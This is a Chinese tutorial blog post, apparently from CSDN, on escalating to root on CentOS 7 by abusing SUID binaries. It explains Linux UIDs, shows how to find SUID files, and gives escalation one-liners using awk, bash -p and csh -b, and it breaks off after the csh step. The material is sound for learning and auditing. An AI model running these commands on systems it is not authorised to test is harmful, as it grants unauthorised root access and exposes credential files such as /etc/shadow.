centos7输入shell找不到命令_安全研究 | CentOS 7系统利用suid提权获取Root Shell

一、操作目的和应用场景

本文档介绍在CentOS 7系统中利用带有suid权限的程序提权从而获取root shell的方法。

首先简单介绍suid的概念:

Linux进程在运行的时候有以下三个UID:

Real UID:执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。

Effective UID(EUID):进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID。

Saved UID:在高权限用户降权后,保留的UID。

进程的GID与UID情况类似。

CentOS系统中存在可执行程序/bin/cat,属主属组均为root,任何用户对其都拥有执行权限。另外存在系统文件/etc/shadow,属主属组也都是root,不提供任何访问权限。

e8fdb421dc156e9569f8736cdb5fe459.png

假设系统中存在一个普通用户,名为user1,UID和GID都是1000。该用户对/bin/cat具有执行权限,对/etc/shadow不具有任何权限。默认情况下,user1执行/bin/cat,系统会创建一个cat进程,进程的Real UID和Effective UID相同,都是运行该进程的user1用户的UID(1000)。cat进程访问/etc/shadow,由于进程的EUID不具备任何访问权限,所以系统会拒绝其访问目标。

为/bin/cat设置SUID权限之后,user1创建的cat进程的Effective UID自动被设置为/bin/cat文件的属主的UID值,也就是root的UID:0。这样该进程访问/etc/shadow时,虽然目标文件拒绝任何人访问,但是由于进程的Effective UID为0,具备超级用户权限,可以访问任意文件,所以就可以显示shadow文件的内容了。

如果某个设置了suid权限的程序运行后创建了shell,那么shell进程的EUID也会是这个程序文件属主的UID,也就是说,这是一个root shell。root shell中运行的程序的EUID也都是0,具备超级权限。

为可执行文件添加suid权限的目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作。但是如果SUID配置不当,则很容易造成提权。

二、平台及工具版本

虚拟机:CentOS Linux release 7.8.2003 (Core)

三、操作步骤

(一)suid/sgid权限设置

chmod u+s prog1  //设置prog1的suid权限

chmod g+s prog2  //设置prog2的sgid权限

(二)查找带有suid/sgid权限的文件

find / -perm -u=s -type f 2>/dev/null  //查找suid文件

find / -perm -g=s -type f 2>/dev/null  //查找sgid文件

现在我们假设,后面介绍的用于提权的程序文件都被root用户设置了suid权限,我们搜索到这些文件后开始提权。

(三)提权

1、awk

输入下面的命令进行提权:

awk ‘BEGIN {system(“/bin/bash -p”)}’

19075b82968579165af31e710eff1a92.png

提权成功,得到了root shell。

2、bash

输入下面的命令进行提权:

bash -p

222bcf7f4de81765983e4ec8498060ec.png

提权成功,得到了root shell。

3、csh

输入下面的命令进行提权:

csh -b

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值